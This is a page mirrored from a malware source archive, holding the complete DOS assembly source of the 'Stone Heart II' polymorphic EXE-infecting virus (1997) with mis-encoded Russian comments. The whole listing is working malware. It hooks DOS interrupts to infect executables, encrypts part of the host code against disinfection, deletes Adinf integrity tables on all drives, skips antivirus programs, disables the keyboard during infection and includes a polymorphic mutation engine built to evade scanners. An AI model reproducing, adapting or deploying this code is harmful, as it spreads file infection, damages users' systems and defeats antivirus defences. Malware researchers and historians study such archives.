mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
1014 lines
25 KiB
NASM
1014 lines
25 KiB
NASM
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; ÜÜ Û
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; ßßß Virus Magazine Û Box 176, Kiev 210, Ukraine IV 1997
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; ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß ÛßßßßßßÛ
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; ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ Ý Û ÜßÛ Û Üßß ÛÜÜ Û Û Û Û
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; Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û Û Û Û Û Û
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; Û Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ Û Û Û Û
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; Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÛÜÜÜÜÜÜÛ
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; (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
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; Stone Heart II
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;
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; <20>¥§¨¤¥âë© ¯®«¨¬®àäë© ¢¨àãá ¯¥à¥¬¥®© ¤«¨ë, ¯®à ¦ î騩 EXE
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; ä ©«ë > 4096 ¡ ©â.
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; ˜¨äàã¥â ç áâì ª®¤ ¯à®£à ¬¬ë (512 ¡ ©â ¯®á«¥ § £®«®¢ª ), ¡« £®¤ àï
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; 祬㠥 «¥ç¨âáï Adinf ¨«¨ TbClean.
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; ‘®¤¥à¦¨â ¥áª®«ìª® ¯à®áâëå, ® íä䥪⨢ëå ¯à¨¥¬®¢ ¯à®â¨¢ í¢à¨á⨪¨
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; (¥ ®¡ à㦨¢ ¥âáï DrWeb, F-Prot, AVP ¨ â.¤.). Tbav ¨®£¤ à㣠¥âáï,
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; ® ।ª® ¨ ¥ á¨«ì® (®¤¨-¤¢ ä« £ ).
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; “¤ «ï¥â ¯à¨ áâ à⥠Ž<>™ˆ… â ¡«¨æë Adinf ¢á¥å à §¤¥« å ¢¨ç¥áâ¥à .
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; ‡ ¨¬ ¥â ¢ ¯ ¬ï⨠®ª®«® 5 Š¡. “á¯¥è® à ¡®â ¥â ¢ DOS á¥áᨨ Windows
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; 95. ‘â à ¥âáï ¥ § à ¦ âì ⨢¨àãáë.
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;
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; (c) Eternal Maverick 1997
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.model tiny
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.code
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;-------------------------------------------------
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vl equ offset bytes - start
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base equ offset endv - start
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CrLen equ (vl+200h+1)/2
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;-------------------------------------------------
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start:
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;-------------------------------------------------
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; Very lame Anti-heuristic trick!
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; But it works against DrWeb...
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;-------------------------------------------------
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mov ah,62h
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int 21h
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mov ax,es
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cmp ax,bx
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je NoHer
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fuck_it:
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cld
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call mist
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mist:
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pop si
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add si,20h
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push cs
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pop es
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mov cx,500h
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rep stosw
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jmp short fuck_it
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;-------------------------------------------------
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NoHer:
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push es
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no_es:
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call next
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next:
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mov ah,2Ah
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mov bx,'EM' ; Are you there ?
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int 21h
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install:
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cmp bx,'ME' ; You ask!
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je restore ; Already installed...
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pop si
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push si
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sub si,offset next - start
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push es
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mov ax,word ptr ds:[02h]
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sub ax,(vl/16) + 1
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mov es,ax
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call remove
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pop ds
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mov si,0Ah
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mov di,offset fail - start + 1
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movsw
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movsw
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mov word ptr ds:[si-4],offset INT22h - start
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mov word ptr ds:[si-2],es
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mov ds,cx
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mov si,084h
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mov di,offset old21h - start + 1
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movsw
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movsw
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;------------------------------------
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; Adinf tables to kill!
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;------------------------------------
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; P.S. Adinf - a nasty bitch,
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; creating checksum tables
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; on every hard disk drive.
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;------------------------------------
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call DelTab
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mask1 db 'C:\*.*',0
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restore:
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pop si
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pop dx
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push dx
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add dx,10h
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push dx
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add dx,20h
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sub dx,word ptr cs:[si+offset bytes - next + 08h]
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mov ax,word ptr cs:[si+offset CodeKey-next]
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mov ds,dx
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mov cx,100h
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xor di,di
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Decrypt:
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xor word ptr ds:[di],ax
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inc di
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inc di
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loop Decrypt
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pop dx
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push cs
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pop ds
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mov cx,word ptr ds:[si+offset bytes-next+06h]
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or cx,cx
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jz No_Relocation
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mov bx,word ptr ds:[si+offset bytes-next+18h]
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Next_Relo:
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les di,dword ptr ds:[si+bx+offset bytes-next]
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mov ax,es
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add ax,dx
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mov es,ax
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add word ptr es:[di],dx
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add bx,4
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loop Next_Relo
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No_Relocation:
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pop es
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mov cx,word ptr ds:[si+offset bytes-next]
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mov cx,dx
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cli
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add cx,word ptr ds:[si+offset bytes-next+0Eh]
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mov ss,cx
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mov sp,word ptr ds:[si+offset bytes-next+10h]
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sti
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add dx,word ptr ds:[si+offset bytes-next+16h]
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push dx
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push word ptr ds:[si+offset bytes-next+14h]
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push es
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pop ds
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xor ax,ax
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xor bx,bx
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xor si,si
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xor di,di
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retf
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DelTab:
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pop di
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push cs
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pop ds
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mov ax,3524h
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int 21h
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push es bx
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lea dx,[di+offset int24h - mask1]
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mov ah,25h
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int 21h
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mov ah,2fh
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int 21h
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push es bx
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lea dx,[di+offset NewBytes - mask1]
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mov ah,1Ah
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int 21h
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mov byte ptr ds:[di],'C'
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mov dx,di
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NextDisk:
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push ds dx
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mov cx,07
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mov ah,4eh
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int 21h
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jc NotFound
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NextKill:
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mov ah,2fh
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int 21h
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pop di
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mov ax,word ptr ds:[di]
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push di
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push es
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pop ds
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mov dl,byte ptr ds:[bx+1Eh+06]
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cmp dl,al
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jne NextFile
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mov word ptr ds:[bx+1bh],ax
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mov byte ptr ds:[bx+1dh],'\'
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lea dx,[bx+1bh]
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xor cx,cx
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mov ax,4301h
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int 21h
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mov cl,07
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mov ah,3ch
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int 21h
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NextFile:
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pop dx ds
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push ds dx
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mov ah,4fh
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int 21h
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jnc NextKill
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NotFound:
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pop dx ds
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mov di,dx
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inc byte ptr ds:[di]
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cmp al,12h
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je NextDisk
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pop dx ds
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mov ah,1ah
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int 21h
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pop dx ds
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mov ax,2524h
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int 21h
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jmp restore
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remove:
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push cs
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pop ds
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mov cx,vl/2
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xor di,di
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rep movsw
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ret
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set21h:
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cli
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mov si,084h
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mov word ptr ds:[si],offset int21h - start
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mov word ptr ds:[si+2],es
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sti
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ret
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int22h:
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mov ah,48h
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mov bx,(vl+400h + offset endcode - start)/16 + 1
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int 21h
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jc fail
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mov es,ax
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dec ax
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mov ds,ax
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xor si,si
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mov word ptr ds:[si+1],70h
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call remove
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mov ds,cx
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call set21h
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fail:
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db 0EAh,0,0,0,0
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int21h:
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cmp ah,4bh
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je check
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cmp ah,3dh
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je check
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cmp ah,43h
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je check
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;----------------------
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; Here I am, Boss!
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;----------------------
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cmp ah,2Ah
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jne old21h
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cmp bx,'EM'
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jne old21h
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xchg bh,bl
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iret
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;--------------------------------
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old21h: db 0EAh,0,0,0,0
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int24h:
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mov al,3
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iret
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check:
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;---------------------------------------
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; Check if it is a proper file
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; for infection
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;---------------------------------------
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push bp si di es bx cx ax dx ds
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mov di,dx
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mov si,di
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push ds
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pop es
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mov ax,1211h
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int 2Fh ; Converts ASCIIZ line into UpCase letters
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cld
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sub di,4
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mov ax,'XE'
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scasw
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jne abort
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scasb
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jne abort ; Not EXE...
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cmp byte ptr es:[di-5],'F' ; Adin'F' - ?
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je abort ; Don't touch it.
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sub di,12 ; 12 = Filename + '.' + Extention
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;---------------------
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; Check if file name
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; contains digits
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;---------------------
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mov si,di
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push es
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pop ds
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mov cx,8
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isDigit:
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lodsb
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cmp al,'0'
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jb noDigit
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cmp al,'9'
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jbe abort
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noDigit:
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loop isDigit
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;---------------------
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; Check for antivirus
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; names
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;---------------------
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push cs
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pop ds
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mov cl,6
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ChkThis:
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push cx
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mov si,offset antiv - start
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mov cl,6
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DoComp:
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cmpsw
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jne NextStr
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cmpsb
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je ExitComp
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dec si
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dec di
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NextStr:
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inc si
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dec di
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dec di
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loop DoComp
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inc di
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pop cx
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loop ChkThis
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;---------------------
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ExitComp:
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or cx,cx
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jz Okey ; Good file
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pop cx
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abort:
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jmp _esc
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Okey:
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;---------------------------------------
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; Save & set INT 24h
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;---------------------------------------
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mov ax,3524h
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call INT_21h
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mov word ptr ds:[base],bx
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mov word ptr ds:[base+2],es
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mov ax,2524h
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mov dx,offset int24h - start
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call INT_21h
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;---------------------------------------
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; Turn keyboard off
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;---------------------------------------
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in al,21h
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or al,00000010b
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out 21h,AL
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;---------------------------------------
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pop ds dx
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push dx ds
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mov ax,4300h
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call INT_21h
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push cx
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test cl,00000100b ; System file - ?
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jnz protect ; Don't touch it!!!
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;----------------------------------------
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; Checking for protected floppy
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; using 3F5h port
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;----------------------------------------
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push dx
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mov cx,400h
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mov dx,3F5h
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mov al,4
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out dx,al
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wait_1:
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loop wait_1
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mov cx,400h
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out dx,al
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wait_2:
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loop wait_2
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in al,dx
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test al,40h ; Protected disk - ?
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pop dx
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jnz protect
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;----------------------------------
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pop cx
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push cx
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and cl,0FEh ; Set READ-ONLY off
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mov ax,4301h
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call INT_21h
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jnc FileOk
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;-------------------------------
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; Not able to change attribute
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;-------------------------------
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protect:
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pop cx
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jmp esc_1
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FileOk:
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push dx ds
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mov ax,3D02h
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call INT_21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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mov word ptr cs:[base+06h],ax
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mov ax,5700h
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call FileX ; DOS Services ah=function 57h
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; get/set file date & time
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push dx cx
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cmp cl,0Fh ; Is it already infected?
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je esc2
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push cs
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pop ds
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mov dx,offset Bytes - start
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mov cx,400h
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call ReadX ; DOS Services ah=function 3Fh
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; read file, cx=bytes, to ds:dx
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call SeekE
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|
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cmp ax,1000h ; File too small to be infected - ?
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jb esc2
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mov si,offset Bytes - start
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cmp word ptr ds:[si],'MZ'
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je ExeOk
|
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cmp word ptr ds:[si],'ZM'
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jne esc2
|
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ExeOk:
|
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;---------------------------------------
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; Is header longer than 512 bytes ?
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;---------------------------------------
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cmp word ptr ds:[si+8],20h
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ja esc2
|
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;---------------------------------------
|
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; Is this EXE segmented ?
|
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;---------------------------------------
|
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push dx ax
|
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mov di,200h
|
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div di
|
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dec ax
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cmp ax,word ptr ds:[si+04h]
|
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pop ax dx
|
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jbe Not_Segmented
|
||
esc2:
|
||
jmp esc_2
|
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;----------------------------------------
|
||
Not_Segmented:
|
||
mov di,offset NewBytes - start
|
||
push ds
|
||
pop es
|
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mov cx,0Ch
|
||
rep movsw
|
||
|
||
mov cx,10h
|
||
div cx
|
||
|
||
sub ax,word ptr ds:[si+1024-18h+08h]
|
||
mov word ptr ds:[si+1024-18h+16h],ax ; ReloCS
|
||
mov word ptr ds:[si+1024-18h+14h],dx ; ExeIP
|
||
mov word ptr ds:[offset SaveOff - Start],dx
|
||
;----------------------------------------
|
||
; Reseting STACK
|
||
;----------------------------------------
|
||
add ax,(vl+200h)/16+1
|
||
mov word ptr ds:[si+1024-18h+0Eh],ax ; ReloSS
|
||
add dx,400h
|
||
and dl,not 1 ; To avoid an odd stack
|
||
mov word ptr ds:[si+1024-18h+10h],dx ; ReloSP
|
||
;----------------------------------------
|
||
again:
|
||
in ax,40h
|
||
or ax,ax
|
||
jz again
|
||
|
||
mov word ptr ds:[offset CodeKey - start],ax
|
||
mov di,offset Bytes - start + 200h
|
||
push di
|
||
mov cx,100h
|
||
Encrypt:
|
||
xor word ptr ds:[di],ax
|
||
inc di
|
||
inc di
|
||
loop Encrypt
|
||
|
||
push si
|
||
xor si,si
|
||
mov di,cs
|
||
add di,(offset buffer - start)/16 + 1
|
||
mov es,di
|
||
call emme11
|
||
|
||
pop si
|
||
push di
|
||
xor dx,dx
|
||
mov ax,word ptr ds:[si+1024-18h+02h]
|
||
add ax,di
|
||
mov di,200h
|
||
div di
|
||
add word ptr ds:[si+1024-18h+04h],ax ; FileSize in 512-byte blocks
|
||
mov word ptr ds:[si+1024-18h+02h],dx ; Rest of bytes
|
||
mov word ptr ds:[si+1024-18h+06h],0 ; Set number of relocation
|
||
; table elements to 0
|
||
|
||
pop cx
|
||
push es
|
||
pop ds
|
||
xor dx,dx
|
||
call WriteX ; Write virus body
|
||
push cs
|
||
pop ds
|
||
call SeekH
|
||
mov dx,offset NewBytes - start
|
||
call WriteH ; Write first 18h bytes (header)
|
||
xor al,al
|
||
mov dx,200h
|
||
call SeekY
|
||
mov cx,200h
|
||
pop dx
|
||
call WriteX
|
||
Marker:
|
||
pop cx
|
||
mov cl,0Fh ; Set time to mark infection
|
||
push cx
|
||
esc_2:
|
||
pop cx dx
|
||
mov ax,5701h
|
||
call FileX ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
mov ah,3Eh
|
||
call FileX ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
pop ds dx cx
|
||
mov ax,4301h
|
||
call INT_21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
esc_1:
|
||
;-----------------------------
|
||
; Restore int 24h
|
||
;-----------------------------
|
||
lds dx,dword ptr cs:[base]
|
||
mov ax,2524h
|
||
call INT_21h
|
||
;-----------------------------
|
||
; Enable IRQ-1
|
||
; User can play with keyboard
|
||
; again.
|
||
;-----------------------------
|
||
in al,21h
|
||
and al,not 2
|
||
out 21h,al
|
||
;-----------------------------
|
||
_ESC:
|
||
pop ds dx ax cx bx es di si bp
|
||
jmp old21h ; No other actions.
|
||
|
||
db 'StoneHeart II' ; Virus name
|
||
|
||
ReadX:
|
||
mov ah,3Fh
|
||
jmp short FileX
|
||
WriteH:
|
||
mov cx,18h
|
||
WriteX:
|
||
mov ah,40h
|
||
jmp short FileX
|
||
SeekH:
|
||
xor al,al
|
||
jmp short SeekX
|
||
SeekE:
|
||
mov al,02
|
||
SeekX:
|
||
xor dx,dx
|
||
SeekY:
|
||
xor cx,cx
|
||
SeekZ:
|
||
mov ah,42h
|
||
FileX:
|
||
mov bx,word ptr cs:[base+06h] ; File Handle is stored there...
|
||
INT_21h:
|
||
pushf
|
||
call dword ptr cs:[offset old21h - start+1]
|
||
ret
|
||
CodeKey:
|
||
dw 0 ; This word is used to crypt
|
||
; a part of file
|
||
;-----------------------------------------------------------------
|
||
; These shity programs are too stinky to be even infected
|
||
;-----------------------------------------------------------------
|
||
ANTIV db 'AID','AVP','PRO','SCA','EXT','WEB'
|
||
;-----------------------------------------------------------------
|
||
; Polymorphic Engine of Stone Heart II
|
||
;-----------------------------------------------------------------
|
||
Emme11:
|
||
call modulof
|
||
modulof:
|
||
pop bp
|
||
sub bp,3
|
||
;--------------------------------------------------------------------------
|
||
; PARAMETERS:
|
||
; ES - points to buffer of proper size.
|
||
; DS - points to segment of code to be encrypted.
|
||
; SI - offset of code to be crypted.
|
||
; CrLen - number of words (NOT BYTES!!!) to be crypted.
|
||
; SaveOff - delta offset in file (Length + 100h for appending
|
||
; COM infector, for example)
|
||
;
|
||
; When finished:
|
||
; …S:0 - crypted code.
|
||
; DI - its size in bytes.
|
||
;--------------------------------------------------------------------------
|
||
; A structure of encryptor:
|
||
; -------------------------
|
||
;
|
||
; mov reg1,offcode ; offcode - offset of crypted code
|
||
; mov reg2,-CrLen
|
||
; mov reg3,code_1
|
||
;Decode:
|
||
; oper1 word ptr ds:[reg1],reg3
|
||
; inc reg1
|
||
; inc reg1
|
||
; oper2 reg3,code_2
|
||
; inc reg2
|
||
; jnz Decode
|
||
;
|
||
; --------------------------------
|
||
;
|
||
; reg1 - SI,DI,BX or BP
|
||
; reg2,reg3 - AX,BX,CX,DX,BP,SI or DI
|
||
; oper1 - XOR,ADD or SUB
|
||
; oper2 - ADD or SUB
|
||
;
|
||
; code_1,code_2 - random numbers
|
||
;
|
||
; All unused in decryptor registers are used in garbage instructions.
|
||
;--------------------------------------------------------------------------
|
||
PolyStart:
|
||
in al,40h
|
||
or al,al
|
||
jz PolyStart
|
||
|
||
push si
|
||
|
||
xor di,di
|
||
|
||
call makeini
|
||
|
||
inc byte ptr [bp+offset Reg - Emme11]
|
||
|
||
lea si,[bp+offset anti-Emme11]
|
||
mov cx,05h
|
||
ANTI_HER:
|
||
cmp cl,2
|
||
jne noGlue
|
||
mov al,75h
|
||
stosb
|
||
push di
|
||
inc di
|
||
noGlue:
|
||
call make
|
||
movsw
|
||
loop anti_her
|
||
|
||
pop bx
|
||
mov ax,di
|
||
sub ax,bx
|
||
dec ax
|
||
dec ax
|
||
dec ax
|
||
mov byte ptr es:[bx],al
|
||
|
||
;---------------------------------------------
|
||
; Creating a decryptor
|
||
;---------------------------------------------
|
||
|
||
call makeini
|
||
|
||
;---------------------------------------------
|
||
; First instruction
|
||
;---------------------------------------------
|
||
instr1:
|
||
call ZeroTwo
|
||
|
||
mov al,byte ptr ds:[bx+offset Pack_1-Emme11]
|
||
stosb
|
||
push di ; Needed for decryptor
|
||
stosw ; To reserve a place for offset
|
||
mov al,byte ptr ds:[bx+3+offset Pack_1-Emme11]
|
||
mov byte ptr ds:[si+1],al
|
||
mov al,byte ptr ds:[bx+6+offset Pack_1-Emme11]
|
||
mov ah,al
|
||
mov word ptr ds:[si+2],ax
|
||
sub al,40h
|
||
mov bl,al
|
||
call _fill ; Make a register busy
|
||
call make
|
||
;-----------------------------------------------
|
||
; Second instruction
|
||
;-----------------------------------------------
|
||
instr2:
|
||
call f_reg
|
||
in ax,40h
|
||
and ax,0Fh
|
||
add ax,CrLen
|
||
add bl,48h
|
||
mov byte ptr ds:[si+7],bl
|
||
|
||
stosw
|
||
|
||
call make
|
||
;------------------------------------------------
|
||
; Third instruction
|
||
;------------------------------------------------
|
||
instr3:
|
||
call f_reg
|
||
|
||
mov byte ptr ds:[si+5],bl
|
||
|
||
mov al,8
|
||
mul bl
|
||
add byte ptr ds:[si+1],al
|
||
in ax,40h
|
||
add ax,di
|
||
stosw
|
||
push di
|
||
mov word ptr ds:[bp+offset encryptor - Emme11 - 3],ax
|
||
call make
|
||
;--------------------------------------------------
|
||
; To choose operations
|
||
;--------------------------------------------------
|
||
call ZeroTwo
|
||
|
||
mov al,byte ptr ds:[offset mirror1 - Emme11 + bx]
|
||
mov byte ptr ds:[si],al
|
||
sub bx,bp
|
||
neg bx
|
||
add bx,bp
|
||
mov al,byte ptr ds:[offset mirror1 - Emme11 + bx + 2]
|
||
mov byte ptr ds:[bp+offset encryptor-Emme11+2],al
|
||
|
||
call rnd
|
||
|
||
and bl,1
|
||
add bx,bp
|
||
mov al,byte ptr ds:[offset mirror2 - Emme11 + bx]
|
||
add byte ptr ds:[si+5],al
|
||
add al,3
|
||
mov byte ptr ds:[bp+offset encryptor-Emme11+6],al
|
||
|
||
;-----------------------------------------------------
|
||
; To copy rest of decryptor
|
||
;-----------------------------------------------------
|
||
movsw
|
||
call make
|
||
movsb
|
||
call make
|
||
movsb
|
||
call make
|
||
movsw
|
||
in al,40h
|
||
mov byte ptr ds:[bp+offset encryptor - Emme11 + 7],al
|
||
stosb
|
||
inc si
|
||
call make
|
||
movsw
|
||
mov ax,0FFh
|
||
sub ax,di
|
||
pop bx
|
||
add ax,bx ; BYTE for JNZ instruction
|
||
stosb
|
||
call make
|
||
|
||
pop si
|
||
mov ax,word ptr ds:[SaveOff]
|
||
add ax,di
|
||
mov word ptr es:[si],ax ; Offset of crypted code
|
||
|
||
|
||
mov cx,CrLen
|
||
mov bx,0FFFFh
|
||
pop si
|
||
encryptor:
|
||
movsw
|
||
xor word ptr es:[di-2],bx
|
||
sub bx,0
|
||
loop encryptor
|
||
|
||
ret
|
||
|
||
makeini:
|
||
mov byte ptr ds:[bp+offset Reg - Emme11],10h
|
||
make:
|
||
;-----------------------
|
||
; Makes from 1 up to 8
|
||
; bytes of garbage code
|
||
;-----------------------
|
||
in ax,40h
|
||
and ax,00000111b
|
||
inc ax ; Number of bytes
|
||
mov dx,ax
|
||
poly:
|
||
push dx
|
||
;------------------------------------
|
||
; Generate 1-byte command
|
||
;------------------------------------
|
||
form_1:
|
||
call rnd
|
||
|
||
add bx,bp
|
||
mov al,byte ptr ds:[bx+offset data_1-Emme11]
|
||
good_1:
|
||
stosb
|
||
dec dx
|
||
form_2:
|
||
;-------------------------------------
|
||
; Generate 2-bytes command
|
||
;-------------------------------------
|
||
cmp dx,2
|
||
jb PolyStop
|
||
|
||
call rnd
|
||
call _free
|
||
jnz form_3
|
||
|
||
mov al,8
|
||
mul bl
|
||
add al,0C0h
|
||
push ax
|
||
call rnd
|
||
pop ax
|
||
add al,bl
|
||
xchg ah,al
|
||
|
||
add bx,bp
|
||
mov al,byte ptr ds:[bx+offset data_2-Emme11]
|
||
stosw
|
||
dec dx
|
||
dec dx
|
||
form_3:
|
||
;-------------------------------------
|
||
; Generate 3-bytes command
|
||
;-------------------------------------
|
||
cmp dx,3
|
||
jb PolyStop
|
||
|
||
call _form
|
||
jnz form_4
|
||
mov al,83h
|
||
stosw
|
||
in al,40h
|
||
stosb
|
||
sub dx,3
|
||
form_4:
|
||
;-------------------------------------
|
||
; Generate 4-bytes command
|
||
;-------------------------------------
|
||
cmp dx,4
|
||
jb PolyStop
|
||
|
||
call _form
|
||
jnz PolyStop
|
||
mov al,81h
|
||
stosw
|
||
in ax,40h
|
||
xor ax,di
|
||
stosw
|
||
sub dx,4
|
||
PolyStop:
|
||
or dx,dx
|
||
jnz form_1
|
||
|
||
pop dx
|
||
|
||
ret
|
||
|
||
ZeroTwo:
|
||
call rnd
|
||
mov ax,bx
|
||
mov bl,3
|
||
div bl
|
||
mov bl,ah
|
||
add bx,bp
|
||
ret
|
||
|
||
;-----------------------------------------------------------------
|
||
Reg db 10h ; This byte is to mark registers
|
||
; involved in decryptor.
|
||
; 10h means don't use SP as a garbage
|
||
; register ;)
|
||
;-----------------------------------------------------------------
|
||
; Data for polymorphic engine
|
||
;-----------------------------------------------------------------
|
||
data_1 db 0f5h,0f8h,0f9h,0fbh,0fch,0fdh,09eh,090h
|
||
data_2 db 03h,0bh,013h,01bh,023h,02bh,033h,085h
|
||
pack_1:
|
||
mov_reg1 db 0beh,0bfh,0bbh
|
||
xor_reg1 db 04h,05h,07h
|
||
inc_reg1 db 046h,047h,043h
|
||
operations:
|
||
mirror1 db 01h,031h,029h
|
||
mirror2 db 0c0h,0e8h
|
||
;---------------------------------------------------------------------
|
||
db 'EMME Small 1.1' ; Small Eternal Maverick Mutation Engine
|
||
;---------------------------------------------------------------------
|
||
_form proc near
|
||
call rnd
|
||
and al,03Fh
|
||
add al,0C0h
|
||
xchg al,ah
|
||
_free:
|
||
push bx
|
||
push cx
|
||
mov cl,bl
|
||
mov bl,1
|
||
shl bl,cl
|
||
test byte ptr ds:[bp+offset Reg-Emme11],bl
|
||
jmp short popcxbx
|
||
f_reg:
|
||
call rnd
|
||
call _free
|
||
jnz f_reg
|
||
mov al,0B8h
|
||
add al,bl
|
||
stosb
|
||
_fill:
|
||
push bx
|
||
push cx
|
||
mov cl,bl
|
||
mov bl,1
|
||
shl bl,cl
|
||
add byte ptr ds:[bp+offset Reg-Emme11],bl
|
||
popcxbx:
|
||
pop cx
|
||
pop bx
|
||
ret
|
||
_form endp
|
||
|
||
rnd:
|
||
;---------------------------
|
||
; A bad way for getting a
|
||
; random number
|
||
;---------------------------
|
||
push dx
|
||
in ax,[40h]
|
||
add ax,word ptr ds:[bp+offset Seed-Emme11]
|
||
mov dx,25173
|
||
mul dx
|
||
add ax,13849
|
||
pop dx
|
||
mov word ptr ds:[bp+offset Seed-Emme11],ax
|
||
xor ax,word ptr ds:[bp+offset ForXor-Emme11]
|
||
mov bx,ax
|
||
and bx,7
|
||
ret
|
||
|
||
Seed dw 37849
|
||
ForXor dw 559
|
||
|
||
;--------------------------------
|
||
; Built-in anti-heuristic,
|
||
; bad against DrWeb, but good
|
||
; againt some other antiviruses
|
||
;--------------------------------
|
||
anti:
|
||
xor ax,ax
|
||
in ax,40h
|
||
or ax,ax
|
||
int 20h
|
||
push cs
|
||
pop ds
|
||
;--------------------------------
|
||
; Cryptor Pattern
|
||
;--------------------------------
|
||
Pattern:
|
||
xor word ptr ds:[di],bx
|
||
inc di
|
||
inc di
|
||
sub bx,0
|
||
inc cx
|
||
jnz Pattern
|
||
;----------------------------------------
|
||
; End of Polymorphic Engine
|
||
;----------------------------------------
|
||
bytes:
|
||
;----------------------------------------
|
||
; Victim file header
|
||
;----------------------------------------
|
||
db 10h dup (0)
|
||
dw offset vstack
|
||
dw 0
|
||
dw offset endv
|
||
db 2 dup (0)
|
||
;-----------------------------------------------------------------
|
||
db 400h-18h dup (0) ; Rest of files' first 1024 bytes
|
||
;-----------------------------------------------------------------
|
||
NewBytes:
|
||
db 18h dup (0) ; New header for infected file
|
||
endcode:
|
||
db 10h dup (0)
|
||
buffer:
|
||
db 0900h dup (0) ; Buffer for crypting
|
||
SaveOff dw 0 ; Used in polymorphic engine
|
||
endv:
|
||
mov ah,4ch
|
||
int 21h
|
||
.stack
|
||
dw 16 dup (0)
|
||
vstack:
|
||
end start |